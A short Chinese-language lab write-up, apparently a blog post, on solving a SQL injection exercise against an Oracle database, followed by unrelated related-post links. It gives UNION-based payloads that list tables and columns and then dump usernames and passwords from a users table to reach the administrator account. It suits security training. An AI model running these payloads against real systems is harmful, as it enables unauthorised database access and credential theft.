SQLi lab： Equivalent to information schema on Oracle

对于oracle数据库

'+UNION+SELECT+table_name,NULL+FROM+all_tables--

btw，如果是非oracle数据的库

'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--

获取了table name，这几个users table 看起来像吗？

接下来试着查下这几个表的column

'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USER'--

啥也没读出来。。。。

然后换一个，MEXYAA，读出来，这两个看起来像账号密码的column name

接下来读administrator吧

这两个列

PASSWORD_IURFRJ

USERNAME_YPUOMR

'+UNION+SELECT+USERNAME_YPUOMR,+PASSWORD_IURFRJ+FROM+USERS_MEXYAA--

然后当然是。。。

reference

SQLi lab： Equivalent to information schema on Oracle相关推荐

对话腾讯AI Lab：即将开源自动化模型压缩框架PocketFlow，加速效果可达50%
整理 | Jane 出品 | AI科技大本营 [导语]腾讯 AI Lab 机器学习中心今日宣布成功研发出世界上首款自动化深度学习模型压缩框架--PocketFlow,并即将在今年10-11月发布开源代 ...
论文笔记：HIE-SQL:History Information Enhanced Network for Context-Dependent Text-to-SQL Semantic Parsing
论文笔记:HIE-SQL: History Information Enhanced Network for Context-Dependent Text-to-SQL Semantic Parsin ...
ML与Information：机器学习与Information信息论之间那些七七八八、乱七八糟、剪不断理还乱的关系攻略
ML与Information:机器学习与Information信息论之间那些七七八八.乱七八糟.剪不断理还乱的关系攻略目录 ML与信息论 ML与熵 1.熵的基础知识 2.熵与分布的关系 3.最大熵模 ...
CSAPP Lab：attacklab
大小尾端首先关于这个,我一直没记清楚,所以做个总结: 在裘宗燕翻译的<程序设计实践>里,这对术语并没有翻译为"大端"和小端,而是"高尾端"和&qu ...
【MCU】MDK错误：No Browse Information available in ‘..\OBJ\SPI‘
MDK错误:No Browse Information available in '..\OBJ\SPI' 1. 问题描述 No Browse Information available in '.. ...
MDK报错：NO BROWSE INFORMATION AVAILABLE IN...
MDK错误:NO BROWSE INFORMATION AVAILABLE IN -- 1. 问题描述 2. 解决方法 1. 打开魔术棒 2. 选择 Output,勾选 Browse Informat ...
oracle xdb插件报错,注册XML Schema到ORACLE XDB并对XML进行验证
注册XML Schema到ORACLE XDB可以方便生成XML的验证. What is an XML Schema? An XML Schema is a language for expressi ...
schema在oracle里是什么意思
在现在做的Kraft Catalyst 项目中,Cransoft其中有一个功能就是schema refresh. 一直不理解schema什么意思,也曾经和同事讨论过,当时同事就给我举过一个例子,下面会 ...
GoldenGate配置实例：RHEL 4.7下的Oracle 10g RAC到单实例的单向同步(一)
环境源端是一个RAC rac1 rac2: RHEL 4u7 + ORACLE 10.2.0.4 + ASM rac1 外网IP 192.168.47.241 虚拟IP 192.168.47.243 ...

SQLi lab： Equivalent to information schema on Oracle

SQLi lab： Equivalent to information schema on Oracle相关推荐

最新文章

热门文章